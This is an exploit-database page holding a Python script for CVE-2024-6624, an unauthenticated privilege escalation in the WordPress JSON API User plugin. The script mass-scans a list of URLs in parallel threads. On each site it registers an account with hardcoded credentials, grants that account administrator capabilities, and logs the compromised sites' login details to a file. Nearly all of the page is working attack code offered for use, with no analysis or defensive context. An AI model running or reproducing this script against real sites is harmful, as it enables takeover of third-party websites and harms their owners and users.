Exploit databaseDownload repository ZIP
GH-93a8209a9c5013db1735173817366b1b
jenderal92/cve-2024-6624
Sources for CVE-2024-6624
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
jenderal92/cve-2024-6624Revision b5640de4216a
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2024-6624.py
Python · 4,924 bytes#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from multiprocessing.pool import ThreadPool
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36'
}
def print_banner():
banner = """
=============================================
CVE-2024-6624 | JSON API User <= 3.9.3 - Unauthenticated Privilege Escalation
Coded by : Shin Code
=============================================
"""
print(banner)
def get_nonce(url, controller, method):
nonce_url = "{}/api/get_nonce/?controller={}&method={}".format(url, controller, method)
try:
response = requests.get(nonce_url, headers=headers, verify=False, timeout=10)
if response.status_code == 200:
try:
nonce_data = response.json()
return nonce_data.get("nonce")
except ValueError:
print("Error parsing JSON response")
else:
print("Failed to get nonce from {}: {}".format(url, response.status_code))
except requests.RequestException as e:
print("Request exception for {}: {}".format(url, e))
return None
def reg_user(url, username, password):
nonce = get_nonce(url, "user", "register")
if not nonce:
return None
register_url = "{}/api/user/register/".format(url)
params = {
"username": username,
"nonce": nonce,
"display_name": "test",
"notify": "both",
"user_pass": password,
"insecure": "cool",
"email": "[email protected]"
}
try:
register_response = requests.get(register_url, params=params, headers=headers, verify=False, timeout=10)
if register_response.status_code == 200:
try:
register_data = register_response.json()
print("Registration succeeded on {}".format(url))
return register_data.get("cookie")
except ValueError:
print("Error parsing registration response on {}".format(url))
else:
print("Failed to register user on {}: {}".format(url, register_response.status_code))
except requests.RequestException as e:
print("Request exception for {}: {}".format(url, e))
return None
def update_user(url, cookie_auth, username, password):
nonce = get_nonce(url, "user", "update_user_meta")
if not nonce:
return False
update_url = "{}/api/user/update_user_meta/".format(url)
params = {
"meta_key": "wp_capabilities",
"meta_value[administrator]": "1",
"insecure": "cool",
"cookie": cookie_auth,
"nonce": nonce
}
try:
update_response = requests.get(update_url, params=params, headers=headers, verify=False, timeout=10)
if update_response.text == '{"status":"ok","updated":true}':
print("Administrator rights granted on {}".format(url))
with open('admin.txt', 'a') as f:
f.write(url+'/wp-login.php'+'|'+username+'|'+password+ '\n')
return True
else:
print("Failed to grant administrator rights on {}: {}".format(url, update_response.text))
except requests.RequestException as e:
print("Request exception for {}: {}".format(url, e))
return False
def check_vulnerability(url):
try:
url = url.rstrip("/")
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
print("Processing URL: {}".format(url))
username = "ngocoxscrew"
password = "ngocoxs_crews+"
cookie = reg_user(url, username, password)
if cookie:
if update_user(url, cookie, username, password):
return url
except Exception as e:
print("Error checking {}: {}".format(url, e))
return None
def main():
print_banner()
input_file = raw_input("Enter the filename containing the URL list: ")
try:
with open(input_file, "r") as f:
urls = [line.strip() for line in f if line.strip()]
except IOError as e:
print("Error reading file: {}".format(str(e)))
return
print("Checking {} URLs...".format(len(urls)))
pool = ThreadPool(15)
try:
pool.map(check_vulnerability, urls)
except Exception as e:
print("Error in thread pool: {}".format(e))
pool.close()
pool.join()
print("Process complete. Results saved to 'admin.txt'.")
if __name__ == "__main__":
main()